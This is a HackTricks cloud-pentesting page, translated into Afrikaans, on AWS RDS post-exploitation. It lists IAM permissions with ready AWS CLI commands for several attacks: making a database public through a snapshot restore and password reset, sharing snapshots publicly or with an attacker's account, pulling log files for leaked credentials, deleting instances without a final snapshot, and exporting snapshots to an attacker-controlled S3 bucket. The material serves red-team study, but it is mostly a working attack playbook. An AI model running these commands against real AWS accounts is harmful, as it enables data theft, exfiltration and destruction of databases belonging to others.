AWS - RDS Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

RDS

Vir meer inligting, kyk:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Indien die aanvaller genoeg toestemmings het, kan hy 'n DB openbaar toeganklik maak deur 'n snitprent van die DB te skep, en dan 'n openbaar toeganklike DB van die snitprent te maak.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

'n Aanvaller met hierdie toestemmings kan 'n oomblikopname van 'n DB skep en dit openlik beskikbaar maak. Dan kan hy net 'n DB in sy eie rekening skep van daardie oomblikopname.

As die aanvaller nie die rds:CreateDBSnapshot het nie, kan hy steeds ander geskepte oomblikopnames openbaar maak.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

'n Aanvaller met die rds:DownloadDBLogFilePortion toestemming kan gedeeltes van 'n RDS-instantie se log lêers aflaai. As sensitiewe data of toegangskredensiale per ongeluk gelog word, kan die aanvaller moontlik hierdie inligting gebruik om hul regte te eskaleer of ongemagtigde aksies uit te voer.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potensiële Impak: Toegang tot sensitiewe inligting of ongemagtigde aksies met behulp van uitgelekde geloofsbriewe.

rds:DeleteDBInstance

'n Aanvaller met hierdie regte kan bestaande RDS-instansies DoS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potensiële impak: Verwydering van bestaande RDS-instanties, en potensiële verlies van data.

rds:StartExportTask

TODO: Toets

'n Aanvaller met hierdie toestemming kan 'n RDS-instantie-snapshot na 'n S3-emmer uitvoer. As die aanvaller beheer het oor die bestemmings-S3-emmer, kan hulle moontlik toegang verkry tot sensitiewe data binne die uitgevoerde snapshot.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potensiële impak: Toegang tot sensitiewe data in die uitgevoerde oomblikopname.

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated